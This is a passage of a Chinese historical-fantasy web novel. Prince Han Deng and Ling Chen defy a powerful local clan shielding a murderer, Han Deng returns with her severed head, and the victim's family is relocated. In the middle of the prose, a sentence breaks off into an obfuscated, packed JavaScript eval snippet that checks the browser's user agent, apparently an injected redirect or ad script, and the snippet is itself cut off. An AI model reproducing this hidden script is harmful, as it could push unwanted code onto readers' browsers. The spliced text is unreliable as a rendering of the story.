“钟相公,我与王兄、嫂夫人乃是发于末迹的至交好友,如今更是同朝为官为陛下效力。此事是那张桂有错在先,仗着权势为祸一方、构陷谋害无辜百姓,触犯了大郑律法。本王已经很顾及王家兄嫂的颜面了,你可不要给脸不要脸。” 听到韩登语气中已经带着不善,钟鸣连忙绕过凌晨走上前去,面色惶恐的拱着手鞠躬行礼: “下官岂敢欺瞒殿下,所呈句句都是实情。而且,下官在出发来面见殿下之前,早已嘱咐家丁奴仆四散出去找寻,一旦有了蛛丝马迹,就立刻将人拿下,报送官府,绝不徇私!” 说完后,钟鸣又再拜了一首。 只是低下头的时候,他的嘴角微微带着笑意。 规则是让普通人去遵守的,我们是制定规则的人。至少在关东两府,没有人能动得了钟家想保的人,陛下都不行!! 韩登盯着钟鸣默不作声,鲁行健看着他们神仙打架,屏住呼吸连大气都不敢喘,这已经不是他能够参与和干预的级别了。 凌晨站在钟鸣身后,斜眼瞥向他的后脑勺,没想到王臣鹤还有这么个难缠的妻兄,要是按正规途径跟他玩,还真有点麻烦。 就在凌晨准备摊牌,试试殿帅的名头在关东两府好不好用时,韩登站起来了。 小登就是这么一个人,吃软不吃硬,并且还是个杠精,一旦匹配上了,那就要和对方杠到底。 他从小到大,可没吃过几次亏。 走到钟鸣面前后,韩登伸出手拉着他身前的衣领往端正了拉扯几下,又在他肩膀上横着拍了拍,背起手盯着对方低垂下去的眉毛,语气森寒的说道: “好,你很好~” 看着钟鸣和鲁行健离开许府后,凌晨和韩登一起走到正堂门口,并肩而立,望着府门凝眉沉思。 良久后,韩登冷声说道:“我去找人,你待在这里看着许丫头,别让他们**灭口。” 凌晨看着彻底认真起来的韩登,一时间还真有些恍惚。 差点忘了,他以前就是专门干抓捕犯人和秘密处决的。 “行,那就圆你一个重操旧业的梦想。不过你小心点,有些人不知道轻重,保不齐会鱼死网破,别大意了。” 韩登点头说道:“我知道了,最迟十天,我一定提着那毒妇的脑袋回来!” “好。” 钟家选择这么干,可不是狂妄自大、不知天高地厚,而是出于深思熟虑后的**考量。 如果交出张桂,那么关东本地打压和收拢科举人才为我所用的事情就一定会诉诸明面。当今陛下是什么人?继往开来的一代雄主!会允许这种事情发生而选择置之不理? 怎么,统一天下的时候,你们关东两府和平加入,没有跟中央禁军正面较量过,所以有遗憾是吗? 因此无论如何,他们都要让这件事悄无声息的平息下来。 哪怕是得罪韩登,也在所不惜。 而凌晨和韩登是不能允许这样的事情发生的,这已经不是为许诗画讨回公道的问题了。如果这种地区抱团的猖狂行为得不到有效震慑和遏制,不出二十年,朝廷的政令在地方上将形同废纸,皇帝和律法的权威性都将受到严重挑战! 如果百姓们只知本地大族,不相信律法和朝廷,那不是又走回大周朝地区节度使的老路了么? 你们可以结党营私,但只能是在朝廷里,绝对不能是在地方上。 青州府皇城司分部,也将这里发生的事情全部书写下来,尽数传给了汴京。 许老爷也是在黑白两道混过的人,对这个世界黑暗的一面算是有所了解。但在五天内接连遭遇家中失火、流寇窜进来行凶**、吃水井中被人**、府内豢养了多年的丫鬟下人突然暴起弑主,还是让他有些心惊胆颤。 好在解采诗机敏过人,身手也不错,每次都能化险为夷,保住女儿的性命。 第六天,韩登回来了。 他看起来有些疲惫,其中一条胳膊还无力的耷拉着,貌似是受伤了。但好在,他腰间裹着的布袋里面,装着一颗血淋淋的人头。 如果钟家不想走正规途径,那韩登也可以不走。 这件事可以不往大了闹,但张桂必须要死。就是要明明白白的告诉钟家,告诉关东两府的世家大族们:你们的那点小心思,都在朝廷的掌握之中,并且朝廷有干预的能力。 韩登和凌晨都是从混乱的大周时期走过来的人,体会过身处乱世的痛苦与无奈,见识过当年的残酷和血腥,明白今天的和平安宁来之不易。 那是无数仁人志士用生命换来的,是他们一生追寻的崇高理想,这里面当然也包括韩登的父亲韩珏。 所以无论你是谁,无论你在哪里,只要你敢为了一己私欲破坏或者动摇大郑的统治基础,那就要做好被无情碾碎的心理准备。 这件事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过这事过后,许老爷一家和许诗画肯定是不能继续待在土生土长的家乡了。韩登写信给种平,让他在梓州给许老爷弄两块盐井去挖,海盐是盐,井盐也是盐,去吧~ 晨风吹动,车马喧嚣,离人远行路。 许诗画的丈夫已经被钟家灭口了,她在这里已经没了牵挂。 许老爷拜过韩登后,又朝着解采诗拱了拱手,便转身去招呼下人检查车马了。 许诗画和韩登、凌晨三人对立在旷野官道的风中,与他们当初在泰山顶上看日出时的场景一模一样。 将被风吹乱的青丝撩至耳后,许诗画微眯着眼睛,看着远处的临淄城墙,这短短几个月的遭遇,比她前半生近二十年的经历还要跌宕起伏。 “奴就是做梦都不敢想,在深山野林里偶遇到的韩公子,会是权倾天下的秦王。” 此言一出,三人都笑了。 韩登也是第一次正视起许诗画来,难得开口说了几句人话:“种大人是我的旧部,我已经打好招呼了,去了西川就忘记这里发生的一切吧,在那里好好生活。觅个良婿,安稳的度过此生。” 许诗画笑起来,其实还真挺好看的,她属于那种不惊艳,但越看越好看的类型。 “奴知道了。” 二人聊完后,许诗画又看向凌晨。 “凌公子,诗画这一走,天各一方人海茫茫,怕是此生都不能再见了。你能……能告诉我你的真实姓名吗?” 凌晨看着这位可怜的女孩,温柔的说道:“我没骗你,我就叫凌晨。” 韩登伸手搂住凌晨的肩膀,又恢复了那副吊儿郎当的模样,用另一只手指着凌晨,对许诗画笑着说道:“我向你保证,他真叫凌晨。” 许诗画微努着朱唇点了点头,又咬着下嘴唇思索了一下后,内心出于好奇的询问道:“你跟韩公子……谁的官儿大?” 凌晨将两根手指背抵在嘴唇上,略微沉吟了一下后,坦坦荡荡的对许诗画笑道—— “重新认识一下,我叫凌晨,陛下亲封临颍郡公,汴京城在逃殿帅。”